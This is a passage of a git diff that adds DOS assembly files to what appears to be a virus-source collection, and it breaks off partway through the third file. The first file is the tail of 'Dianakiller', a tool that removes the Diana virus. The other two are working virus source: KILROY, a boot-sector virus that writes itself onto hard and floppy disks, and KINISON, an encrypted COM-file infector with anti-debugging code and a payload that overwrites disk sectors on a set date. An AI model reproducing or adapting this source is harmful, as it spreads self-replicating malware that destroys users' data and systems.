dx,name + calln print + endm +callz macro name + push si + lea si,name + calln printz + pop si + endm + +dtas struc + resv db 21 dup(?) + atr db ? + hour dw ? + min dw ? + lfil dw ? + hfil dw ? + sname db 14 dup(?) +dtas ends + +dgroup group data,udata,xstack + assume ds:data + +pgroup group prog,tail +prog segment byte public 'prog' + assume cs:prog + + org 100h ;FOR MODEL COM + +start label far + cli + mov ax,offset pgroup:xtail ;get end of code group + add ax,16 ;calculate segment address of ds + mov cl,4 ;calculate segment address of ds + shr ax,cl ;calculate segment address of ds + mov bx,cs ;calculate segment address of ds + add ax,bx ;calculate segment address of ds + mov ds,ax ;set ds to dgroup + mov es,ax ;set es to dgroup + mov ss,ax ;set ss to dgroup + mov ds:_ss,ax ;save stack segment for (do,for,while) + mov sp,offset dgroup:sbase + 512 ;range of stack = 512 bytes + mov ds:_top,sp ;save stack pointer for (do,for,while) + mov bx,offset dgroup:sbase ;get stack segment for (do,for,while) + mov ds:_base,bx ;save stack segment for (do,for,while) + sti + mov ah,30h ;get dos version number + int 21h + mov ds:_dos,ax ;save dos version for (do,for,while) + callp copyr + callp tryrem + calln remove + push cs + pop es + + mov di,81h +getf: + mov cx,80 + cld + mov al,0dh +repne scasb + jne quiter + dec di + cmp di,81h + je quiter + mov si,di + mov cx,di + mov cs:byte ptr[di],0 +srcc: + dec si + mov al,cs:[si] + cmp al,'\' + je fndd + cmp al,':' + je fndd + cmp si,82h + jae srcc + dec si +fndd: + sub cx,si + jcxz quiter + lea di,fname + inc si +cpcp: mov al,cs:[si] + cmp al,' ' + jbe incsi + mov [di],al + inc di +incsi: + inc si + loop cpcp + callp weak + lea dx,root + mov ah,3bh ;chdir to root + int 21h ;chdir to root + calln findir +quiter: + mov ah,4ch + int 21h ;exit to DOS + +print proc near + mov ah,9 + int 21h + ret +print endp + +comwrk proc near + calln first + jc toret + calln workcom +ffnext: + calln fnext + jc toret + calln workcom + .br ffnext +toret: + ret +comwrk endp +fnext proc near + lea dx,mydta + mov ah,1ah + int 21h + mov ah,4fh ;findnext + int 21h + jc ercc + jnc foundf +fnext endp +first proc near + lea dx,mydta + mov ah,1ah + int 21h + lea dx,fname + mov cx,27h ;search all types of files + mov ah,4eh ;findfirst + int 21h + jnc foundf +; callp notfnd +ercc: stc + ret +foundf: + calln konka + clc + ret +first endp +konka proc near + mov ah,2fh + int 21h ;get dta in es:bx + add bx,26 + mov ax,es:[bx] + mov llfil,ax ;save lowlengh + inc bx + inc bx + mov ax,es:[bx] + mov lhfil,ax ;save highlengh + inc bx + inc bx ;pointed to fname + lea si,ffname +copyf: mov al,es:[bx] + mov [si],al + inc si + inc bx + or al,al + jne copyf + ret +konka endp + + + +remove proc near + push ds + clr ax + mov ds,ax + les bx,ds:[84h] ;21h vector + mov ax,cs + mov dx,es + cmp dx,ax + jc nodia + cmp bx,2eeh + jne nodia + + mov ax,es:[74fh] + mov ds:[84h],ax ;restore 21h + mov ax,es:[751h] + mov ds:[86h],ax + + mov ax,es:[74bh] + mov ds:[9ch],ax ;restore 27h + mov ax,es:[74dh] + mov ds:[9eh],ax + mov ax,es + mov bx,ax + dec ax + mov es,ax + mov es:byte ptr[0],5ah + mov es:word ptr[1],0 + pop ds + callp diakt + ret +nodia: + pop ds + callp dinakt + ret +remove endp + +workcom proc near + lea dx,ffname + mov ax,4300h ;get attrib + int 21h + jnc kopa + jmp retga +kopa: + mov al,cl + and al,0feh + cmp al,cl + je nochatr + + mov attr,cx + mov ax,4301h ;set attrib + clr cx ;to normal + int 21h + .br nochh +nochatr: + mov attr,0 +nochh: + mov ax,3d02h ;open file R/W + int 21h + jnc kop1 + jmp resatr +kop1: mov bx,ax + calln gettm + mov cx,18h + lea dx,bufer + mov ah,3fh ;read first 3 bytes + int 21h + jc closs2 + mov di,dx + mov ax,ds:[di] + cmp ax,5a4dh + jne commfil + push bx + calln exework + pop bx + jc chek2 + jmp closs + +commfil: + mov al,ds:[di] + cmp al,0e9h + je mak111 + jmp closs +mak111: mov si,ds:[di+1] ;relative offset + add si,3 + mov di,si + sub si,68h + mov len,si + + clr cx + mov dx,di + mov ax,4200h + int 21h ;seek to found e80000 +closs2: jc clos21 + + lea dx,bufer + add dx,18h+3 + mov cx,7 ;read 7 bytes + mov ah,3fh + int 21h ;read +clos21: jnc chek1 +chek2: jmp closs +chek1: + mov di,dx + cmp ds:byte ptr[di],0e8h + jne chek2 + cmp ds:word ptr[di+1],0 + jne chek2 + cmp ds:word ptr[di+4],0ee81h + jne chek2 + cmp ds:word ptr[di+6],6bh + jne chek2 + + clr cx + mov dx,si + add dx,705h + mov ax,4200h + int 21h ;seek to found org 3bytes + jc closs + lea dx,bufer + add dx,18h + mov cx,3 ;read 3 bytes + mov ah,3fh + int 21h ;read + jc closs + lea si,bufer +restor3: + mov al,[si+18h] + mov [si],al + inc si + loop restor3 + clr cx + clr dx + mov ax,4200h ;seek to begin + int 21h + jc closs + + mov cx,18h + lea dx,bufer + mov ah,40h ;write + int 21h + jc closs + + clr cx + mov dx,len + mov ax,4200h ;seek to end of real data + int 21h + jc resatr +exelen: + clr cx + mov ah,40h ;truncate file + int 21h + push bx + callp file + callz ffname + callp isok + + pop bx +closs: + calln settm + mov ah,3eh + int 21h ;close file + +resatr: + mov cx,attr ;to old attributes + or cx,cx + je retga + lea dx,ffname + mov ax,4301h ;set attrib + int 21h +retga: + ret +workcom endp +printz proc near +eter: mov ah,2 + lodsb + or al,al + je caret + mov dl,al + int 21h + .br eter +caret: + ret +printz endp + +gettm proc near + mov ax,5700h + int 21h + jc qget + mov atcx,cx + mov atdx,dx +qget: + ret +gettm endp + +settm proc near + mov ax,5701h + mov cx,atcx + mov dx,atdx + or cx,cx + je qset + or dx,dx + je qset + int 21h +qset: + ret +settm endp +exework proc near + mov ax,[di+16h] ;get main lenght in pargarphs + mov cx,16 + mul cx + push bx + mov bx,[di+8] + mov cl,4 + shl bx,cl + add ax,[di+14h] ;get IP + adc dx,0 + add ax,bx + adc dx,0 + pop bx + mov exhlen,dx + mov exllen,ax + mov cx,dx + mov dx,ax + mov ax,4200h + int 21h ;seek to begin Diana code + + lea dx,bufer + add dx,18h+3 + mov cx,7 ;read 7 bytes + mov ah,3fh + int 21h ;read + jc echek2 + mov di,dx + cmp ds:byte ptr[di],0e8h + jne echek2 + cmp ds:word ptr[di+1],0 + jne echek2 + cmp ds:word ptr[di+4],0ee81h + jne echek2 + cmp ds:word ptr[di+6],6bh + je exgoin +echek2: + stc + ret +exgoin: + sub exllen,68h + sbb exhlen,0 ;contains lenght of file + + mov dx,exllen + mov cx,exhlen + add dx,707h + adc cx,0 + mov ax,4200h + int 21h ;seek to old vectors + lea dx,bufer + add dx,26h + mov cx,1 + mov ah,3fh + int 21h ;read old cs:ip, ss:sp + jc echek2 + + mov dx,exllen + mov cx,exhlen + add dx,6fdh + adc cx,0 + mov ax,4200h + int 21h ;seek to old vectors + lea dx,bufer + add dx,18h + mov cx,8 + mov ah,3fh + int 21h ;read old cs:ip, ss:sp + jc echek2 + + mov ax,llfil + mov dx,lhfil + sub ax,exllen + sbb dx,exhlen + mov lhfil,dx + mov llfil,ax + lea di,bufer + mov ax,[di+4] + mov cx,512 + mul cx + add ax,[di+2] + adc dx,0 + sub ax,llfil + sbb dx,lhfil + div cx + mov cx,dx + mov dl,[di+26h] + sub cx,dx + mov rema,cx + mov [di+2],dx ;store remainder of lenght + mov [di+4],ax ;store /512 lenght + + mov ax,[di+18h] ;get ip + mov [di+14h],ax ;store + mov ax,[di+1ah] ;get cs: + mov [di+16h],ax ;store + + mov ax,[di+1ch] ;get sp + mov [di+10h],ax ;store + mov ax,[di+1eh] ;get ss: + mov [di+0eh],ax ;store + + clr cx + clr dx + mov ax,4200h + int 21h ;seek to prefix + mov cx,18h ;to write new prefix + lea dx,bufer + mov ah,40h + int 21h ;write 18h bytes prefix + mov cx,exhlen + mov dx,exllen + sub dx,rema + sbb cx,0 + mov ax,4200h + int 21h ;seek end of file + jmp exelen +exework endp + +findir proc near + ; get dta + mov ah,2fh + int 21h + mov word ptr olddta[0],bx + mov word ptr olddta[2],es + ;***** + lea dx,mydta + mov ah,1ah + int 21h + calln comwrk + mov word ptr fflag,0 + calln basewr + + ; restore dta + push ds + lds dx,olddta + mov ah,1ah + int 21h + pop ds + ret +findir endp + +basewr proc near + cmp word ptr fflag,0 + jne nnextt + calln fdir + jc baret + jnc checkk +nnextt: + calln ndir + jc baret +checkk: + mov bx,odta + test ds:byte ptr[bx + dtas.atr],10h + je nnextt + cmp byte ptr dtas.sname[bx],'.' + je nnextt + mov ah,3bh ;chdir + mov dx,offset dtas.sname + add dx,bx + int 21h ;chdir + calln pdir + calln comwrk + mov fflag,0 + inc coudir + calln basewr +bare: + pushf + lea dx,point + mov ah,3bh ;chdir up + int 21h ;chdir up + dec coudir + jns nosig + mov coudir,0 +nosig: + mov fflag,1 + popf + .br nnextt + +baret: + ret +basewr endp +ndir proc near + calln stdta + mov ah,4fh + int 21h + ret +ndir endp +fdir proc near + calln stdta + lea dx,aster + mov cx,37h + mov ah,4eh + int 21h + ret +fdir endp +stdta proc near + mov ax,44 + mul word ptr coudir + add ax,offset dtatab + mov odta,ax + mov dx,ax + mov ah,1ah + int 21h + ret +stdta endp +pdir proc near + push si + lea si,curdir + clr dl + mov ah,47h + int 21h + lea si,curdir + calln printz + callp carret + pop si + ret +pdir endp +prog ends + +tail segment word 'prog' ;help segment to allocate end of code +xtail dw -1 ;and set the data segment +tail ends + +data segment para public 'data' ;data segment + + +fname db 10h dup(0) +ffname db 10h dup(0) +mydta db 48 dup(?) +bufer db 28h dup(0) +dtatab dtas 12 dup(<>) +curdir db 64 dup(?) +_ss dw ? ;Lattice variables +_base dw ? ;Lattice variables +_dos dw ? ;Lattice variables +_top dw ? ;Lattice variables +odta dw 0 +olddta dd 0 +nepar dw 0 +fhand dw 0 +exhlen dw 0 +exllen dw 0 +llfil dw 0 +lhfil dw 0 +len dw 0 +attr dw 0 +atcx dw 0 +atdx dw 0 +rema dw 0 +coudir dw 0 +fflag dw 0 +;notfnd db 'File not found',13,10,'$' +copyr db 'Dianakiller program V1.1 (C)Copyright Deny_Soft 1989',13,10,'$' +tryrem db 'Searching Diana in memory..',13,10,'$' +diakt db 'Diana found',7,' and removed extra',13,10,'$' +dinakt db "Diana isn't active",13,10,"$" +weak db 'Searching for weak files...',13,10,'$' +file db 'File $' +isok db 9,9,' ... restored',13,10,'$' +carret db 13,10,'$' +aster db '*.*',0 +point db '..',0 +root db '\',0 + +data ends + .pub <_ss,_base,_dos,_top> ;make external +udata segment public 'data' +udata ends +xstack segment 'data' +sbase dw 512 dup (?) +xstack ends + end start + \ No newline at end of file diff --git a/k/KILROY.ASM b/k/KILROY.ASM new file mode 100755 index 0000000..f7b58cb --- /dev/null +++ b/k/KILROY.ASM @@ -0,0 +1,315 @@ +;The KILROY one-sector boot sector virus will both boot up either MS-DOS or +;PC-DOS and it will infect other disks. + +;This segment is where the first operating system file (IBMBIO.COM or IO.SYS) +;will be loaded and executed from. We don't know (or care) what is there, but +;we do need the address to jump to defined in a separate segment so we can +;execute a far jump to it. +DOS_LOAD SEGMENT AT 0070H + ASSUME CS:DOS_LOAD + + ORG 0 + +LOAD: DB 0 ;Start of the first operating system program + +DOS_LOAD ENDS + + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + +;This jump instruction is just here so we can compile this program as a COM +;file. It is never actually executed, and never becomes a part of the boot +;sector. Only the 512 bytes after the address 7C00 in this file become part of +;the boot sector. + ORG 100H + +START: jmp BOOTSEC + +;The following two definitions are BIOS RAM bytes which contain information +;about the number and type of disk drives in the computer. These are needed by +;the virus to decide on where to look to find drives to infect. They are not +;normally needed by an ordinary boot sector. + + ORG 0410H + +SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of + ;disk drives on this system (eg 01 = 2 drives) + + ORG 0475H + +HD_COUNT: DB ? ;Number of hard drives in the system + +;This area is reserved for loading the boot sector from the disk which is going +;to be infected, as well as the first sector of the root directory, when +;checking for the existence of system files and loading the first system file. + + ORG 0500H + +DISK_BUF: DW ? ;Start of the buffer + + ORG 06FEH + +NEW_ID: DW ? ;Location of AA55H in boot sector loaded at DISK_BUF + +;Here is the start of the boot sector code. This is the chunk we will take out +;of the compiled COM file and put it in the first sector on a 360K floppy disk. +;Note that this MUST be loaded onto a 360K floppy to work, because the +;parameters in the data area that follow are set up to work only with a 360K +;disk! + + ORG 7C00H + +BOOTSEC: JMP BOOT ;Jump to start of boot sector code + + ORG 7C03H ;This is needed because the jump will get coded as 2 bytes + +DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes) +SEC_SIZE: DW 200H ;Size of a sector, in bytes +SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster +FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT) +FAT_COUNT: DB 2 ;Number of FATs on this disk +ROOT_ENTRIES: DW 70H ;Number of root directory entries +SEC_COUNT: DW 2D0H ;Total number of sectors on this disk +DISK_ID: DB 0FDH ;Disk type code (This is 360KB) +SECS_PER_FAT: DW 2 ;Number of sectors per FAT +SECS_PER_TRK: DW 9 ;Sectors per track for this drive +HEADS: DW 2 ;Number of heads (sides) on this drive +HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk + +DSKBASETBL: + DB 0 ;Specify byte 1: step rate time, head unload time + DB 0 ;Specify byte 2: Head load time, DMA mode + DB 0 ;Wait time until motor turned off, in clock ticks + DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024) + DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies) + DB 0 ;Gap length between sectors for r/w operations, in bytes + DB 0 ;Data transfer length when sector length not specified + DB 0 ;Gap length between sectors for format operations, in bytes + DB 0 ;Value stored in newly formatted sectors + DB 1 ;Head settle time, in milliseconds (we set it small to speed operations) + DB 0 ;Motor startup time, in 1/8 seconds + +HEAD: DB 0 ;Current head to read from (scratch area used by boot sector) + +;Here is the start of the boot sector code + +BOOT: CLI ;interrupts off + XOR AX,AX ;prepare to set up segments + MOV ES,AX ;set ES=0 + MOV SS,AX ;start stack at 0000:7C00 + MOV SP,OFFSET BOOTSEC + MOV BX,1EH*4 ;get address of disk + LDS SI,SS:[BX] ;param table in ds:si + PUSH DS + PUSH SI ;save that address + PUSH SS + PUSH BX ;and its address + + MOV DI,OFFSET DSKBASETBL ;and update default + MOV CX,11 ;values to the table stored here + CLD ;direction flag cleared +DFLT1: LODSB + CMP BYTE PTR ES:[DI],0 ;anything non-zero + JNZ SHORT DFLT2 ;is not a default, so don't save it + STOSB ;else put default value in place + JMP SHORT DFLT3 ;and go on to next +DFLT2: INC DI +DFLT3: LOOP DFLT1 ;and loop until cx=0 + + MOV AL,AH ;set ax=0 + MOV DS,AX ;set ds=0 so we can set disk tbl + MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here) + MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done + STI ;now turn interrupts on + INT 13H ;and reset disk drive system +ERROR1: JC ERROR1 ;if an error, hang the machine + +;Attempt to self reproduce. If this boot sector is located on drive A, it will +;attempt to relocate to drive C. If successful, it will stop, otherwise it will +;attempt to relocate to drive B. If this boot sector is located on drive C, it +;will attempt to relocate to drive B. +SPREAD: + CALL DISP_MSG ;Display the "Kilroy was here!" message + MOV BX,OFFSET DISK_BUF ;read other boot sectors into this buffer + CMP BYTE PTR [DRIVE],80H + JZ SPREAD2 ;if it's C, go try to spread to B + MOV DX,180H ;if it's A, try to spread to C first, try Head 1 + CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive + JZ SPREAD2 ;none - try floppy B + MOV CX,1 ;read Track 0, Sector 1 + MOV AX,201H + INT 13H + JC SPREAD2 ;on error, go try drive B + CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector + JNZ SPREAD2 + CALL MOVE_DATA + MOV DX,180H ;and go write the new sector + MOV CX,1 + MOV AX,301H + INT 13H + JC SPREAD2 ;if an error writing to C:, try infecting B: + JMP SHORT LOOK_SYS ;if no error, go look for system files +SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive + AND AL,0C0H + ROL AL,1 ;put bits 6 & 7 into bits 0 & 1 + ROL AL,1 + INC AL ;add one, so now AL=# of drives + CMP AL,2 + JC LOOK_SYS ;no B drive, just quit + MOV DX,1 ;read drive B + MOV AX,201H ;read one sector + MOV CX,1 ;read Track 0, Sector 1 + INT 13H + JC LOOK_SYS ;if an error here, just exit + CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector + JNZ LOOK_SYS ;no, don't attempt reproduction + CALL MOVE_DATA ;yes, move this boot sector in place + MOV DX,1 + MOV AX,301H ;and write this boot sector to drive B + MOV CX,1 + INT 13H + +;Here we look at the first file on the disk to see if it is the first MS-DOS or +;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively. +LOOK_SYS: + MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk + XOR AH,AH + MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat + ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors + ADD AX,WORD PTR [FAT_START] ;add starting fat sector + + PUSH AX + MOV WORD PTR [DOS_ID],AX ;root dir, save it + + MOV AX,20H ;dir entry size + MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax + MOV BX,WORD PTR [SEC_SIZE] ;sector size + ADD AX,BX ;add one sector + DEC AX ;decrement by 1 + DIV BX ;ax=# sectors in root dir + ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data + MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500 + POP AX + CALL CONVERT ;and go convert sequential sector number to bios data + MOV AL,1 ;prepare for a disk read for 1 sector + CALL READ_DISK ;go read it + + MOV DI,BX ;compare first file on disk with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS + REPZ CMPSB + JZ SYSTEM_THERE ;ok, found it, go load it + + MOV DI,BX ;compare first file with + MOV CX,11 ;required file name + MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS + REPZ CMPSB +ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine + +;Ok, system file is there, so load it +SYSTEM_THERE: + MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS + XOR DX,DX + DIV WORD PTR [SEC_SIZE] ;and divide by sector size + INC AL ;ax=number of sectors to read + MOV BP,AX ;store that number in BP + MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data + PUSH AX + MOV BX,700H ;set disk read buffer to 0000:0700 +RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read + CALL CONVERT ;convert to bios Trk/Cyl/Sec info + MOV AL,1 ;read one sector + CALL READ_DISK ;go read the disk + SUB BP,1 ;subtract 1 from number of sectors to read + JZ DO_BOOT ;and quit if we're done + ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read + ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address + JMP RD_BOOT1 ;then go for another + + +;Ok, the first system file has been read in, now transfer control to it +DO_BOOT: + MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch + MOV DL,BYTE PTR [DRIVE] ;Drive number in dl + POP BX +; JMP FAR PTR LOAD ;use the nicer far jump if compiling with MASM or TASM + MOV AX,0070H ;A86 is too stupid to handle that, + PUSH AX ;so let's fool it with a far return + XOR AX,AX + PUSH AX + RETF + + +;Convert sequential sector number in ax to BIOS Track, Head, Sector information. +;Save track number in DX, sector number in CH, +CONVERT: + XOR DX,DX + DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track + INC DL ;dl=sector number to start read on, al=track/head count + MOV CH,DL ;save it here + XOR DX,DX + DIV WORD PTR [HEADS] ;divide ax by head count + MOV BYTE PTR [HEAD],DL ;dl=head number, save it + MOV DX,AX ;ax=track number, save it in dx + RET + + +;Read the disk for the number of sectors in al, into the buffer es:bx, using +;the track number in DX, the head number at HEAD, and the sector +;number at CH. +READ_DISK: + MOV AH,2 ;read disk command + MOV CL,6 ;shift possible upper 2 bits of track number to + SHL DH,CL ;the high bits in dh + OR DH,CH ;and put sector number in the low 6 bits + MOV CX,DX + XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track + MOV DL,BYTE PTR [DRIVE] ;get drive number from here + MOV DH,BYTE PTR [HEAD] ;and head number from here + INT 13H ;go read the disk +ERROR3: JC ERROR3 ;hang in case of an error + RET + +;Move data that doesn't change from this boot sector to the one read in at +;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and +;the data area at the beginning of the boot sector. +MOVE_DATA: + MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area + MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC) + MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL + REP MOVSB + MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID + MOV DI,OFFSET DISK_BUF + MOV CX,11 + REP MOVSB + RET + +;Display the null terminated string at MESSAGE. +DISP_MSG: + MOV SI,OFFSET MESSAGE ;set offset of message up +DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH (Display Char) + LODSB ;get character to display + OR AL,AL + JZ DM2 ;repeat until 0 + INT 10H ;display it + JMP SHORT DM1 ;and get another +DM2: RET + + +SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file +SYSFILE_2: DB 'IO SYS' ;MS DOS System file +MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0 + + ORG 7DFDH + +DRIVE: DB 0 ;Disk drive (A or C) for this sector + +BOOT_ID: DW 0AA55H ;Boot sector ID word + + +MAIN ENDS + + + END START + \ No newline at end of file diff --git a/k/KINISON.ASM b/k/KINISON.ASM new file mode 100755 index 0000000..8bd577a --- /dev/null +++ b/k/KINISON.ASM @@ -0,0 +1,420 @@ +; KINISON.ASM -- Sam Kinsion Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call get_day + cmp ax,000Bh ; Did the function return 11? + jne skip00 ; If not equal, skip effect + call get_weekday + cmp ax,0005h ; Did the function return 5? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: xor ah,ah ; BIOS get time function + int 01Ah + xchg dx,ax ; AX holds clock ticks + mov cx,0003h ; We'll divide by 3 + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is there a remaindier? + jne no_infection ; If there is then don't spread + call search_files ; Find and infect a file +no_infection: + call get_day + cmp ax,000Bh ; Did the function return 11? + jne skip01 ; If not equal, skip effect + call get_weekday + cmp ax,0005h ; Did the function return 5? + jne skip01 ; If not equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: mov ax,0004h ; First argument is 4 + mov cx,0010h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) +trash_loop: int 026h ; DOS absolute write interrupt + dec ax ; Select the previous disk + cmp ax,-1 ; Have we gone too far? + jne trash_loop ; If not, repeat with new drive + sti ; Restore interrupts + +end01: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 09Ch,054h,068h,09Eh,06Ch + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 083h,01Dh,064h,0E6h,08Ah + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 039h,01Ch,0DDh,0C2h,0DDh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 